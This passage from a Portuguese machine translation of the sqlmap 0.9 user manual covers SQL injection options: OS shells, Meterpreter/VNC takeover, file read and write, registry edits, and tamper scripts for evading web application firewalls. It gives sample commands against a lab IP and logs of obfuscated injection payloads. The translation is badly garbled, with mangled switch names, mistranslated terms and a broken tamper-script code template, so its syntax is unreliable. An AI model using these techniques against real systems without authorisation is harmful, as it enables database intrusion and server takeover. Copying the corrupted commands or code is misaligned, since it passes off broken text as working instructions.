- Última = lastchar Última consulta personagem palavra de saída para recuperar
- Sql-query = instrução SQL para ser executado
- Sql-janela de comandos SQL para um shell interativo

Força bruta:
Essas opções podem ser usadas para executar verificações de força bruta.

- Comum mesas-Verificar a existência de tabelas comuns

- Comum-colunas Verificar a existência de colunas comuns

Definido pelo usuário injeção função:
Essas opções podem ser usadas para criar personalizado funções definidas pelo usuário.

- UDF injetar Injectar personalizados funções definidas pelo usuário
- Shared-lib = caminho shlib local da biblioteca compartilhada

Acesso ao sistema de arquivos:
Essas opções podem ser usadas para acessar o banco de dados de gestão de back-end
sistema de sistema de arquivos subjacente.

- Arquivo de ler = ARQUIVOREF Ler um arquivo do sistema de arquivos de back-end DBMS
- Arquivo-write = WFILE Escreva um arquivo local no sistema de arquivos de back-end DBMS
- Arquivo-dest = dfile Back-end DBMS caminho absoluto para escrever

Operação de acesso ao sistema:
Essas opções podem ser usadas para acessar o banco de dados de gestão de back-end
sistema de sistema operacional subjacente.

- Os-cmd = OSCMD Executa um comando do sistema operacional
- Os-janela de comandos para um shell interativo do sistema operacional
- Os-pwn Prompt para um fora-de-banda-shell, Meterpreter ou VNC
- Os-Relé SMB Um clique em Escolher uma concha OOB, Meterpreter ou VNC
- Os-bof procedimento armazenado exploração de buffer overflow
Escalada processo de Banco de Dados priv-esc "privilégio do usuário -
- MSF-path = caminho MSFPATH local onde Metasploit Framework 3 é instalado
- Tmp-path = TMPPATH caminho remoto absoluto do diretório de arquivos temporários

Janelas de acesso ao registro:
Essas opções podem ser usadas para acessar o banco de dados de gestão de back-end
sistema de registro do Windows.

- Reg leitura Ler um valor chave do registro do Windows
- Reg-adicionar Escreva um registro do Windows dados de valor-chave
- Reg-del Excluir um Windows valor da chave de registro
- Reg-key = RegKey chave do registro do Windows
- Reg-valor = REGVAL o Windows valor da chave de registro
- Reg-de dados do Registro do Windows = Regdata principais dados de valor
- Reg-type = regtype Windows tipo chave de registro

Geral:
Essas opções podem ser usadas para definir alguns parâmetros gerais de trabalho.

-T TRAFFICFILE Acesse todo o tráfego HTTP em um arquivo de texto

```
    -S SESSIONFILE Salvar e retomar todos os dados recuperados em um
arquivo de sessão
    - Sessão de flush-arquivo de sessão Flush para alvo atual
    - Fresh-consultas ignora os resultados da consulta armazenados no
arquivo de sessão
    - Display eta para cada saída da hora prevista de chegada
    - Atualização Atualização sqlmap
    - Salvar Salvar opções em um arquivo de configuração INI
    - Nunca lote pedir a entrada do usuário, utilize o comportamento
padrão

  Diversos:
    - Alerta sonoro quando sql injection encontrado
    - Verificação de carga-teste de detecção do IDS de cargas de
injeção
    - Limpeza Limpe o DBMS por sqlmap UDF específica e tabelas
    - Analisa formas e formas de teste em url alvo
    - GPage = Usar GOOGLEPAGE resultados do Google dork de número de
página especificado
    - Page rank-page rank Display (PR) para resultados dork Google
    - Analisa-erros de análise DBMS mensagens de erro de páginas de
resposta
    - Replicar Replicar despejado dados em um banco de dados sqlite3
    - Usar o Tor padrão Tor (Vidalia / Privoxy / Polipo) endereço de
proxy
    - Assistente de interface de assistente simples para usuários
iniciantes
```

# 5,1 verbosidade de saída

Switch: `-v`

Essa opção pode ser usada para definir o nível de detalhamento das mensagens de saída. Existem **sete** níveis de detalhamento. O nível padrão é **uma** em que a informação, aviso de erro, e crítico mensagens e tracebacks Python (se houver ocorrer) será exibido.

- **0** : Ver tracebacks apenas Python, erro e mensagens críticas.
- **1** : Ver também informações e mensagens de aviso.
- **2** : Ver também mensagens de depuração.
- **3** : Ver também cargas injetado.
- **4** : Ver também solicitações HTTP.
- **5** : Ver também cabeçalhos de respostas HTTP.
- **6** : Ver também o conteúdo respostas HTTP 'página.

Um nível razoável de detalhamento para entender melhor o que faz sqlmap sob o capô é de nível **2** , principalmente para a fase de detecção e as funcionalidades de aquisição. Considerando que se você quiser ver as cargas SQL as ferramentas envia, nível **3** é a sua melhor escolha. A fim de depurar possíveis erros ou comportamentos inesperados, recomendamos que você defina a verbosidade para o nível **4** ou superior. Este nível é recomendado para ser usado quando você alimentar os desenvolvedores com um relatório de bug também.

# 5,2 Alvo

Pelo menos uma destas opções tem que ser fornecido.

**URL de destino**

Switch: `-u` ou `- url`

Executar sqlmap contra um URL único alvo. Esta opção requer um argumento que é o URL de destino na forma `http (s) :/ / TargetURL [: porta] / [...]` .

**Analisar alvos de Burp ou logs de proxy WebScarab**

Switch: `l-`

Em vez de fornecer uma URL de destino único, é possível testar e injetar contra solicitações HTTP proxy através Burp procuração ou procuração WebScarab Esta opção requer um argumento que é o arquivo de log do proxy HTTP solicitações.

**Carregar solicitação HTTP de um arquivo**

Switch: `-r`

Uma das possibilidades de sqlmap está a carregar de pedido de HTTP a partir de um ficheiro completo textual. Dessa forma, você pode pular uso monte de outras opções (por exemplo, configuração de cookies, dados postados, etc).

Conteúdo de amostra de um arquivo de solicitação HTTP fornecido como argumento para esta opção:

```
POST / sqlmap / mysql / post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0

id = 1
```

**Processo resulta dork do Google como endereços de destino**

Switch: `-g`

Também é possível testar e injetar em `GET` parâmetros sobre os resultados de seu dork Google.

Esta opção faz sqlmap negociar com o motor de busca seu cookie de sessão para ser capaz de realizar uma pesquisa, em seguida, irá recuperar sqlmap Google primeiros 100 resultados para a expressão idiota Google com `GET` parâmetros perguntando se você deseja testar e injetar em cada URL possível afetada .

**Carregar opções de um arquivo de configuração INI**

Switch: `-c`

É possível passar as opções do usuário a partir de um arquivo de configuração INI, um exemplo é `sqlmap.conf` .

Note que se você também oferecem outras opções de linha de comando, aqueles são avaliados durante a execução sqlmap e substituir as previstas no arquivo de configuração.

## 5,3 Pedido

Essas opções podem ser usadas para especificar como se conectar à URL de destino.

**HTTP dados**

Opção: `- os dados dos`
Por padrão, o método HTTP usado para executar solicitações HTTP é `GET` , mas você pode mudá-lo implicitamente de `POST` fornecendo os dados a serem enviados nos `POST` pedidos. Tais dados, sendo estes parâmetros, são testados para a injecção de SQL, bem como qualquer fornecido `GET` parâmetros.

**HTTP `Cookies` cabeçalho**

Switches: `- biscoito-` , `- soltar-set-cookie` e `- -cookie-urlencode`
Esta característica pode ser útil em duas formas:

- A aplicação web requer autenticação baseada em biscoitos e você tem esses dados.
- Você deseja detectar e explorar a injeção de SQL em valores de cabeçalho tais.

Ou razão traz a necessidade de enviar cookies com pedidos sqlmap, os passos a percorrer são os seguintes:

- Entre para a aplicação com o seu navegador favorito.
- Obter o cookie HTTP de preferências do navegador ou da tela proxy HTTP e copiar para a área de transferência.
- Volte para o seu shell e executar sqlmap colando sua prancheta como o argumento do `- cookie-` switch.

Note que os HTTP `Cookies` valores de cabeçalho são geralmente separados por um `;` personagem, **não** por um `&` . sqlmap pode reconhecê-las como conjuntos separados de `parâmetro = valor` também, assim como os parâmetros GET e POST.
Se a qualquer momento durante a comunicação, a aplicação web responde com `Set-Cookie` cabeçalhos, sqlmap usará automaticamente o seu valor em todas as outras solicitações HTTP como o `bolinho` de cabeçalho. sqlmap também automaticamente testar esses valores para injeção de SQL. Isto pode ser evitado, fornecendo a chave `- soltar-set-cookie` - sqlmap irá ignorar qualquer vinda `Set-Cookie` cabeçalho.
Vice-versa, se você fornecer um HTTP `Cookies` cabeçalho com `- cookie-` chave eo URL de destino envia um HTTP `Set-Cookie` cabeçalho a qualquer momento, sqlmap lhe perguntar qual conjunto de cookies para utilizar para os seguintes pedidos HTTP.
sqlmap por padrão se **não** Codifica uma URL de cargas cookie gerado, mas você pode forçá-lo usando o `- urlencode-cookie-` switch. Codificação de conteúdo cookie não é declarado por protocolo HTTP padrão de qualquer maneira, por isso é apenas a questão do comportamento web aplicativo.
Note-se que também o HTTP `Cookies` cabeçalho é testado contra injeção de SQL, se o `- nível` está definido para **2** ou acima. Leia abaixo para mais detalhes.

**HTTP `User-Agent` do cabeçalho**

Switches: `- usuário-agente-` e `- agente-aleatório`

Por padrão sqlmap realiza solicitações HTTP com o seguinte `User-Agent` valor de cabeçalho:

```
sqlmap/0.9 (http://sqlmap.sourceforge.net)
```

No entanto, é possível fingir com o `- user-agent-` chave, fornecendo personalizado User-Agent como argumento chave.

Além disso, através da prestação de `- agente-aleatório` switch, sqlmap irá selecionar aleatoriamente um `User-Agent` do `/ txt / user agents.txt.` arquivo textual e usá-lo para todas as solicitações HTTP dentro da sessão.

Alguns sites executar uma verificação do lado do servidor no HTTP `User-Agent` valor de cabeçalho e não a resposta HTTP se uma válida `User-Agent` não é fornecido, o seu valor não é o esperado ou está na lista negra por um firewall de aplicação web ou sistema de prevenção de intrusão semelhante. Neste caso sqlmap irá mostrar uma mensagem como segue:

```
[Hh: mm: 20] [ERROR] a URL de destino respondeu com um código
desconhecido status HTTP, tente
forçar o cabeçalho HTTP User-Agent com a opção - user-agent ou -
agente aleatório
```

Note-se que também o HTTP `User-Agent` do cabeçalho é testado contra injeção de SQL, se o `- nível` está definido para **3** ou superior. Leia abaixo para mais detalhes.

### HTTP `Referer` cabeçalho

Switch: `- referer-`

É possível falsificar o HTTP `Referer` valor de cabeçalho. Por padrão **não** HTTP `Referer` cabeçalho é enviado em solicitações HTTP se não explicitamente definido.

Note-se que também o HTTP `Referer` do cabeçalho é testado contra injeção de SQL, se o `- nível` está definido para **3** ou superior. Leia abaixo para mais detalhes.

### Extra HTTP cabeçalhos

Switch: `- cabeçalhos`

É possível fornecer extras cabeçalhos HTTP, definindo o `- cabeçalhos` interruptor. Cada cabeçalho devem ser separados por uma nova linha e é muito mais fácil dar-lhes a partir do arquivo de configuração INI. Ter um olhar para a amostra `sqlmap.conf` arquivo para um exemplo.

### HTTP protocolo de autenticação

Switches: `- Tipo-auth-` e `- -auth-cred`

Essas opções podem ser usadas para especificar qual protocolo de autenticação HTTP os implementos do servidor web e as credenciais válidas para ser usados para executar todas as solicitações HTTP para o aplicativo de destino.

Os três mecanismos de autenticação suportados HTTP de protocolo são:

- `Básico`
- `Digerir`

- NTLM

Embora a sintaxe as credenciais 'é `usuário: senha` .

Exemplo de sintaxe válida:

```
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
  - Auth-Tipo básico - auth-cred "testuser: testpass"
```

**HTTP autenticação de certificado de protocolo**

Switch: `- auth-cert`

Essa opção deve ser usada nos casos em que o servidor web requer certificado de cliente adequado para autenticação. Valores fornecidos deve ser na forma: `key_file, cert_file` , onde `key_file` deve ser o nome de um arquivo formatado PEM que contém sua chave privada, enquanto `cert_file` deve ser o nome de um arquivo formatado PEM cadeia de certificado.

**Proxy HTTP (S)**

Switches: `- proxy` , `- -proxy-cred` , `- ignore-proxy-` e `- tor-`

É possível fornecer um endereço de proxy HTTP (S) para passar pelo (S) de HTTP para pedidos de URL do alvo. A sintaxe do valor de proxy HTTP (S) é `http://url:port` .

Se o proxy HTTP (S) requer autenticação, você pode fornecer as credenciais no formato `usuário: senha` para o `- cred-proxy-` switch.

Se, por qualquer razão, você precisa ficar anônimo, em vez de passar por um único HTTP pré-definido (S) do servidor proxy, você pode configurar um cliente Tor juntamente com Privoxy (ou similar) em sua máquina, como explicado no guia do cliente Tor e usar o daemon Privoxy, por padrão escutando em `127.0.0.1:8118` , como o proxy sqlmap simplesmente fornecendo a ferramenta com o `- tor-` chave em vez de `- proxy` .

O switch `- ignorar-proxy` deve ser usado quando você deseja executar sqlmap contra uma parte de destino de uma rede de área local, ignorando o conjunto de todo o sistema HTTP (S) configuração do servidor proxy.

**Atraso entre cada solicitação HTTP**

Switch: `- atrasar-`

É possível especificar um número de segundos para segurar entre cada solicitação HTTP (S). O valor válido é uma bóia, por exemplo, `0,5` significa meio segundo. Por padrão, nenhum atraso é definido.

**Segundos para esperar antes de tempo limite de conexão**

Switch: `- -timeout`

É possível especificar um número de segundos a aguardar antes de considerar a solicitação HTTP (S) expirou. O valor válido é uma bóia, por exemplo, 10,5 significa dez segundos e meio. Por padrão **30 segundo** estão definidos.

**Número máximo de tentativas de conexão quando os timeouts HTTP**

Switch: `- -retries`

É possível especificar o número máximo de novas tentativas, quando os tempos de espera de HTTP (S) de ligação. Por padrão ele tentativas de até **três vezes** .

**Filtragem de metas de log de proxy fornecido usando expressão regular**

Switch: `- escopo`

Ao invés de usar todos os hosts interpretados a partir logs fornecidos com chave de `l-` , você pode especificar expressão Python regular válida para ser usada para filtrar os desejados.

Exemplo de sintaxe válida:

```
$ Python burp.log sqlmap.py-l - scope = "(www) \ target \?.. (Com | net | org)"
```

**Evite a sessão a ser destruído após muitos pedidos de infrutíferas**

Switches: `- url-seguro-` e `- seguro-freq`

Às vezes, as aplicações web ou tecnologia de inspeção entre destrói a sessão se um certo número de pedidos sem êxito é realizada. Isto pode ocorrer durante a fase de detecção de sqlmap ou quando se tira partido de qualquer um dos tipos de injecção cegos SQL. Razão é que a carga SQL não necessariamente retorna de saída e pode, portanto, levantar um sinal para o gerenciamento de sessão do pedido ou da tecnologia de inspeção.

Para contornar esta limitação definido pelo destino, você pode fornecer duas opções:

- `- seguro-url` : endereço URL para visitar com freqüência durante os testes.
- `- seguro-freq` : pedidos de teste entre duas visitas a um determinado URL segura.

Desta forma, sqlmap vai visitar cada um número pré-definido de pedidos de um certo *segura* de URL sem realizar qualquer tipo de injeção contra ele.

## 5,4 Otimização

Essas opções podem ser usadas para otimizar o desempenho de sqlmap.

**Bundle otimização**

Switch: `-o`

Este switch é um apelido que implicitamente define os seguintes parâmetros:

- `- keep-alive-`
- `- nulo conexão`
- `- 3 de segmentos` não se configurado para um valor maior.

Leia abaixo para detalhes sobre cada interruptor.

**Previsão de saída**

Switch: `- PREDICT-saída`

Esta opção é usada em algoritmo de inferência de previsão estatística seqüencial de caracteres do valor a ser recuperados. Tabela estatística com os valores de carácter mais promissores está a ser construído com base nos pontos indicados em `txt / common-outputs.txt` combinada com o conhecimento de enumeração de corrente utilizada. No caso em que o valor

pode ser encontrado entre os valores de saída comuns, como o processo progride, tabelas de caracteres subsequentes estão a ser cada vez mais reduzido. Se for utilizado em combinação com a recuperação de entidades comuns DBMS, como acontece com os nomes dos sistemas de mesa e privilégios, acelerar é significativa. É claro, você pode editar as saídas comuns arquivo de acordo com suas necessidades, se, por exemplo, você observa padrões comuns em nomes de banco de dados de mesa ou semelhantes.
Note-se que essa opção não é compatível com `- tópicos-` chave.

**HTTP Keep-Alive**

Switch: `- keep-alive-`
Esta opção instrui sqlmap usar HTTP persistentes (s) conexões.
Note-se que essa opção é incompatível com `- proxy-` switch.

**HTTP com NULL**

Switch: `- nulo conexão`
Existem tipos especiais de solicitação HTTP que pode ser usado para recuperar o tamanho de resposta HTTP, sem conseguir o corpo HTTP. Esse conhecimento pode ser usado a técnica de injecção cega para distinguir`verdadeira` de `falsos` respostas. Quando este parâmetro é fornecido, sqlmap vai tentar testar e explorar duas diferentes *NULL conexão* técnicas: `Escala` e `CABEÇA` . Se qualquer um destes é suportado pelo servidor web de destino, acelerar virá da economia óbvia de largura de banda utilizada.
Estas técnicas são detalhados no documento de ruptura performances em Blind SQL Injection - Take 2 (largura de banda) .
Note-se que essa opção é incompatível com `- somente texto-` chave.

**Simultâneas de HTTP (S) pedidos**

Switch: `- -threads`
É possível especificar o número máximo de concorrentes HTTP (S) solicita que sqlmap é permitido fazer. Este recurso baseia-se na multi-threading conceito e herda tanto pro seu e os seus contras.
As características deste aplica aos interruptores de força bruta, e quando a busca de dados é feita através de qualquer uma das técnicas de injecção cegos SQL. Para o último caso, sqlmap primeiro calcula o comprimento da saída da consulta em um único segmento, começa então o multi-threading. Cada segmento é atribuído para recuperar um caráter de saída da consulta. O fio termina quando o personagem é recuperado - que leva até 7 HTTP (S) solicitações com o algoritmo de bissecção implementado em sqlmap.
O número máximo de solicitações simultâneas está definido para **10** de desempenho e razões de confiabilidade do site.
Note-se que essa opção não é compatível com `- de prever saída de` switch.

## 5,5 Injeção

Essas opções podem ser usadas para especificar quais os parâmetros para testar, fornecer cargas de injeção personalizados e roteiros opcionais adulteração.

**Testável parâmetro (s)**

Switch: `-p`

Por padrão, todos os testes sqlmap `GET` parâmetros e `POST` parâmetros. Quando o valor de `- nível` for> = **2** testa também HTTP `Cookies` valores de cabeçalho. Quando este valor for> = **3** testa também HTTP`User-Agent` e HTTP `Referer` valor de cabeçalho para injeções SQL. No entanto, é possível especificar manualmente uma lista separada por vírgula de parâmetro (s) que deseja sqlmap para testar. Isso irá ignorar a dependência do valor de `- nível` também.

Por exemplo, para testar parâmetro GET `ID` e para HTTP `User-Agent` só fornecer, `-p id, user-agent` .

**Forçar o banco de dados de nome de sistema de gestão**

Switch: `- dbms-`

Por padrão sqlmap detecta automaticamente a aplicação web back-end sistema de gerenciamento de banco de dados. A partir da versão **0,9** , sqlmap apoia plenamente os sistemas de gerenciamento de banco de dados a seguir:

- MySQL
- Oráculo
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- SQLite
- Firebird
- Sybase
- SAP MaxDB

Se, por qualquer razão sqlmap não consegue detectar o DBMS back-end, uma vez por injeção de SQL tenha sido identificado ou se você quiser evitar uma fingeprint ativa, você pode fornecer o nome do back-end DBMS-se (por exemplo `postgresql` ). Para o MySQL e Microsoft SQL Server fornecer-lhes, respectivamente, na forma `MySQL <versão>` e `Microsoft SQL Server <versão>` , onde `<versão>` é uma versão válida para o SGBD, por exemplo `5,0` para o MySQL e `2005` para o Microsoft SQL Server.

No caso de você fornecer `- impressão digital` em conjunto com `- , dbms` , sqlmap apenas realizar a impressão digital extensivo para o sistema específico de gestão de dados único, leia abaixo para mais detalhes.

Note-se que esta opção é **não** obrigatório e é altamente recomendável usá-lo **somente se você tem certeza absoluta** sobre o sistema de gerenciamento de banco de dados de back-end. Se você não sabe, deixe sqlmap impressões digitais automaticamente para você.

**Forçar o banco de dados do sistema de gestão nome do sistema operacional**

Switch: `- -os`

Por padrão sqlmap detecta automaticamente a aplicação web back-end sistema de gerenciamento de banco de dados subjacente do sistema operacional quando esta informação é uma dependência de qualquer outra chave fornecida. No momento em que os sistemas operacionais suportados são dois:

- Linux
- Windows

É possível forçar o nome do sistema operacional, se você já sabe que para que sqlmap vai evitar fazê-lo em si.

Note-se que esta opção é **não** obrigatório e é altamente recomendável usá-lo **somente se você tem certeza absoluta** sobre o back-end do sistema de gestão de banco de dados do sistema operacional subjacente. Se você não sabe, deixe sqlmap identificar automaticamente para você.

**Carga injeção personalizado**

Switches: `- prefixo-` e `- sufixo-`

Em algumas circunstâncias, o parâmetro vulnerável é explorável apenas se o utilizador fornece um sufixo específico a ser acrescentada à carga de injecção. Outro cenário em que estas opções vir a calhar se apresenta quando o usuário já sabe que a sintaxe de consulta e deseja detectar e explorar a injeção de SQL, diretamente fornecendo um prefixo e sufixo carga injeção.

Exemplo de código fonte vulneráveis:

```
$ Query = "SELECT * FROM users WHERE id = (" $ _GET. ['Id'] "LIMIT 0,
1. ')";
```

Para detectar e explorar essa injeção de SQL, você pode deixar sqlmap detectar os **limites** (como na combinação de SQL prefixo e sufixo de carga) para você durante a fase de detecção, ou fornecê-los em seu próprio país. Por exemplo:

```
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
  -P id - prefixo "')" - o sufixo "E (' abc '=' abc"
[...]
```

Isto irá resultar em todos os pedidos sqlmap acabar em uma consulta da seguinte forma:

```
$ Query = "SELECT * FROM users WHERE id = ('1 ') <PAYLOAD> E (' abc
'=' abc ') LIMIT 0, 1";
```

O que torna a consulta sintaticamente corretas.

Neste exemplo simples, sqlmap pode detectar a injeção de SQL e explorá-lo sem a necessidade de fornecer limites personalizados, mas às vezes na aplicação real do mundo é necessário para fornecê-lo quando o ponto de injeção está dentro aninhada `Cadastre-se` consultas, por exemplo.

**Adulterar dados de injeção**

Switch: `- adulterar-`

sqlmap em si não faz ofuscamento da carga enviada, exceto para strings entre aspas simples substituídos por seus `CHAR ()` -representação iguais.
Esta opção pode ser muito útil e poderosa em situações em que há um mecanismo de validação de entrada fraco entre você eo back-end sistema de gerenciamento de banco de dados. Este mecanismo geralmente é um auto-desenvolvimento de rotina de validação de entrada chamado pelo código fonte da aplicação, um cara de classe empresarial aparelho IPS ou um firewall de aplicação web (WAF). Todos os chavões para definir o mesmo conceito, implementado de uma maneira diferente e custando muito dinheiro, normalmente.
Para aproveitar essa opção, proporcionar sqlmap com uma lista separada por vírgula de scripts de adulteração e este irá processar a carga e devolvê-lo transformado. Você pode definir seus scripts tamper próprias, utilize os sqlmap da `adulteração /` pasta ou editá-los, desde que você concatenar-los separados por vírgula como o argumento de `- alter-` switch.
O formato de um script tamper válida é a seguinte:

```
Importações # Necessários
de lib.core.enums PRIORIDADE importação

# Definir qual é a ordem de aplicação de scripts tamper contra a carga
__priority__ = PRIORITY.NORMAL

def tamper (carga útil):
    '' '
    Descrição do seu script de adulteração
    '' '

    carga = retVal

    # Seu código para adulterar a carga original de

    # Voltar a carga adulterada
    voltar retVal
```

Você pode verificar os scripts de adulteração válidos e utilizáveis na `adulteração /` diretório.
Exemplo contra um alvo MySQL assumindo que `>` caracteres, espaços e de capital `SELECIONAR` cordas são proibidos:

```
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?
id=1" - adulterar \
  adulterar / tamper between.py, / randomcase.py,
tamper/space2comment.py-v 3

[Hh: mm: 03] [DEBUG] limpeza parâmetros de configuração
[Hh: mm: 03] [INFO] script de adulteração de carga "entre"
[Hh: mm: 03] [INFO] 'randomcase' script adulteração de carga
[Hh: mm: 03] [INFO] 'space2comment' script adulteração de carga
[...]
[Hh: mm: 04] [INFO] testing 'E booleano baseado cego - WHERE ou HAVING
cláusula'
[Hh: mm: 04] [PAYLOAD] 1) / ** / And / ** / 1369 = 7706 / ** / And /
** / (4092 = 4092
[Hh: mm: 04] [PAYLOAD] 1) / ** / E / ** / 9267 = 9267 / ** / E / ** /
(4057 = 4057
```

```
[Hh: mm: 04] [PAYLOAD] 1 / ** / e / ** / 950 = 7041
[...]
[Hh: mm: 04] [INFO] testing 'MySQL> = 5,0 e erro-based - WHERE ou
HAVING cláusula'
[Hh: mm: 04] [PAYLOAD] 1 / ** / e / ** / (SELECT CHAR / ** / 9921 / **
/ FROM (SELECT / ** / count (*), CONCAT ((
58,117,113,107,58), (SELECT / ** / (caso / ** / quando / ** / (9921 =
9921) / ** / Então / ** / 1 / ** / else / ** / 0 / ** /
FIM)), Char (58,106,104,104,58), FLOOR (rand (0) * 2)) x / ** / de /
** / / ** / information_schema.tables
grupo / ** / por / ** / x) a)
[Hh: mm: 04] [INFO] GET 'id' parâmetro é 'MySQL> = 5,0 e erro-based -
WHERE ou HAVING
cláusula "injetável
[...]
```

# 5,6 Detecção

Essas opções podem ser usadas para especificar a forma de analisar e comparar o conteúdo da página de respostas HTTP quando utilizando a técnica de injeção SQL cego.

**Nível**

Switch: `- nível de`

Esta opção requer um argumento que especifica o nível de testes a executar. Há **cinco** níveis. O valor padrão é **um** onde o número limitado de testes (pedidos) são realizadas. Vice-versa, de nível **5** vai testar com detalhes para um número muito maior de cargas e fronteiras (como no par de SQL prefixo e sufixo de carga útil). As cargas utilizadas por sqlmap são especificados no arquivo textual `xml / payloads.xml` . Seguindo as instruções no início do arquivo, se sqlmap perde uma injeção, você deve ser capaz de adicionar a sua própria carga (s) para testar também!

Não só isso afeta interruptor que sqlmap carga tenta, mas também quais os pontos de injeção são tomadas em exame: parâmetros GET e POST são **sempre** testados, valores de cabeçalho HTTP Cookies são testados a partir do nível **2** e valor HTTP User-Agent/Referer cabeçalhos 'é testado a partir de nível **3** .

Tudo em tudo, o que é mais difícil de detectar uma injeção de SQL, maior a `- nível` deve ser definido.

Recomenda-se vivamente a este valor mais alto, antes de apresentar a lista de discussão que sqlmap não é capaz de detectar um ponto de injecção certo.

**Risco**

Switch: `- risco`

Esta opção requer um argumento que especifica o risco de testes a executar. Existem **quatro** valores de risco. O valor padrão é **um** que é inócuo para a maioria dos pontos de injeção SQL. Valor de risco 2 adiciona para o nível padrão dos testes para consulta pesadas injeções de SQL baseados no tempo e valor de 3 adiciona também `OU` baseados em testes de injeção SQL.

Em alguns casos, como uma injeção de SQL em uma `ATUALIZAÇÃO` declaração, injetando uma `OU` carga baseada pode levar a uma atualização de todas as

entradas da tabela, o que certamente não é o que o atacante quer. Por este motivo e outros, esta mudança foi introduzida: o usuário tem controle sobre quais cargas fazer o teste, o usuário pode escolher arbitrariamente a usar também os potencialmente perigosos. Como por a chave anterior, as cargas utilizadas por sqlmap são especificados no arquivo textual `xml / payloads.xml` e você está livre para editar e adicionar o seu dono.

**Comparação página**

Switches: `- cordas` , `- regexp-` e `- , somente texto`

Por padrão, a distinção de uma `verdadeira` consulta por um `falso` (um conceito bruto por trás boolean baseados em vulnerabilidades de injeção SQL cegos) é feito comparando o conteúdo da página injetada pedidos com o conteúdo da página original não injetados. Nem sempre esse conceito funciona porque às vezes as mudanças de páginas de conteúdo em cada atualização nem injetar alguma coisa, por exemplo, quando a página tem um contador, uma faixa de anúncio dinâmico ou qualquer outra parte do HTML que é processado de forma dinâmica e pode mudar com o tempo, não só consequentemente, para a entrada do usuário. Para contornar esse limite, sqlmap se esforça para identificar esses trechos dos corpos de resposta e tratar adequadamente. Às vezes pode falhar, é por isso que o usuário pode fornecer uma string ( `- corda` switch) que é **sempre**presente na página não injectada **e** em todas as páginas de consulta Verdadeiros injetados, mas que é **não** sobre os falsos. Como uma alternativa para uma cadeia estática, o utilizador pode fornecer uma expressão regular ( `- regexp-` chave).

Tais dados é fácil para um usuário para recuperar, simplesmente tentar injetar no parâmetro afetado um valor inválido e comparar manualmente o conteúdo da página original (não injetado) com o conteúdo da página injetado errado. Desta forma, a distinção será baseada na presença string ou expressão regular.

Nos casos com grande quantidade de conteúdo ativo (por exemplo, scripts, incorpora, etc) no corpo as respostas HTTP ", você pode filtrar páginas ( `- texto somente` switch) apenas pelo seu conteúdo textual. Dessa forma, em um bom número de casos, você pode ajustar automaticamente o motor de detecção.

## 5,7 Técnicas

Essas opções podem ser usadas para ajustar ensaio de técnicas de injeção de SQL específicas.

**Técnicas de injeção SQL para testar**

Switch: `- técnica-`

Essa opção pode ser usada para especificar que tipo de injeção SQL para testar. Por testes padrão sqlmap para **todos os** tipos / técnicas que ele suporta.

Em certas situações, você pode querer testar apenas para um ou poucos tipos específicos de SQL pensamento injeção e é aí que este interruptor entra em jogo.

Esta opção requer um argumento. Este argumento é uma cadeia de caracteres composta por qualquer combinação de `B` , `E` , `L` , `S` e `T` caracteres em que cada letra representa uma técnica diferente:

- `B` : Boolean baseada em injeção de SQL cego
- `E` : Erro baseada em injeção de SQL
- `U` : UNIÃO consulta SQL injection
- `S` : Stacked consultas SQL injection
- `T` : Time-base de injeção SQL cego

Por exemplo, você pode fornecer `ES` se você quiser testar e explorar erro de base e empilhados consultas SQL tipos de injecção só. O valor padrão é `Beust` .

Note-se que a cadeia deve incluir carta técnica empilhados consultas, `S` , quando você quiser acessar o sistema de arquivos, aquisição do sistema operacional ou urticária acesso ao Registro do Windows.

**Segundos para atrasar a resposta para DBMS baseado no tempo de injeção SQL cego**

Switch: `- tempo-sec`

É possível ajustar os segundos para retardar a resposta ao teste de tempo com base em injecção de SQL cego, ao proporcionar o `- -tempo-sec` opção seguida por um número inteiro. Por padrão atraso está definido para **5 segundo** .

**Número de colunas na consulta UNIÃO injeção de SQL**

Switch: `- sindicato-cols`

Por testes padrão para sqlmap UNIÃO técnica de injeção de consulta SQL usando 1-10 colunas. No entanto, este intervalo pode ser aumentado até 50 colunas, fornecendo uma maior `- - nível` de valor. Veja o parágrafo relevante para mais detalhes.

Você pode dizer manualmente sqlmap para testar este tipo de injeção de SQL com um intervalo específico de colunas, fornecendo a ferramenta com o `- - sindical-cols` interruptor seguido por uma série de números inteiros. Por exemplo, `12-16` significa UNIÃO testes para injeção de consulta SQL usando 12 até 16 colunas.

**Personagem de usar para testar a UNIÃO consulta SQL injection**

Switch: `- -sindical-char`

Por testes padrão para sqlmap UNIÃO técnica de injeção de consulta SQL usando `NULL` personagem. No entanto, proporcionando um maior `- - nível` sqlmap valor será também realiza testes com um número aleatório, porque há alguns casos de canto, onde testes de consulta união com `NULL` falham enquanto que com um número inteiro aleatório eles conseguem.

Você pode dizer manualmente sqlmap para testar este tipo de injeção de SQL com um personagem específico, fornecendo a ferramenta com o `- sindicato-char-` chave, seguido por uma corda.

## 5,8 Fingerprint

**Extenso banco de dados de impressões digitais do sistema de gestão**

Switches: `-f` ou `- impressão digital`

Por padrão, o aplicativo web do back-end de banco de dados de impressões digitais do sistema de gestão é feita automaticamente pelo sqlmap. Apenas após a conclusão da fase de detecção eo usuário acaba sendo solicitado com uma escolha de qual parâmetro vulnerável a usar mais adiante, impressões digitais sqlmap o sistema de gestão de back-end de banco de dados e carrega consigo a injeção por saber qual a sintaxe SQL dialeto, e consultas para usar a prosseguir com o ataque dentro dos limites do banco de dados da arquitectura.

Se, por qualquer instância que você deseja realizar um extenso banco de dados de impressões digitais do sistema de gestão com base em várias técnicas como dialetos SQL específicos e mensagens de erro inband, você pode fornecer o `- impressão digital` switch. sqlmap irá realizar pedidos muito mais e impressão digital a versão DBMS exata e, sempre que possível, de sistema operacional, arquitetura e patch.

Se você quiser que a impressão digital a ser resultado ainda mais preciso, você também pode fornecer a `-b` ou `- banner-` switch.

## 5,9 Enumeração

Essas opções podem ser usadas para enumerar o back-end de banco de dados de gerenciamento de informações do sistema, estrutura e dados contidos nas tabelas. Além disso, você pode executar suas próprias instruções SQL.

**Bandeira**

Switch: `-b` ou `- banner-`

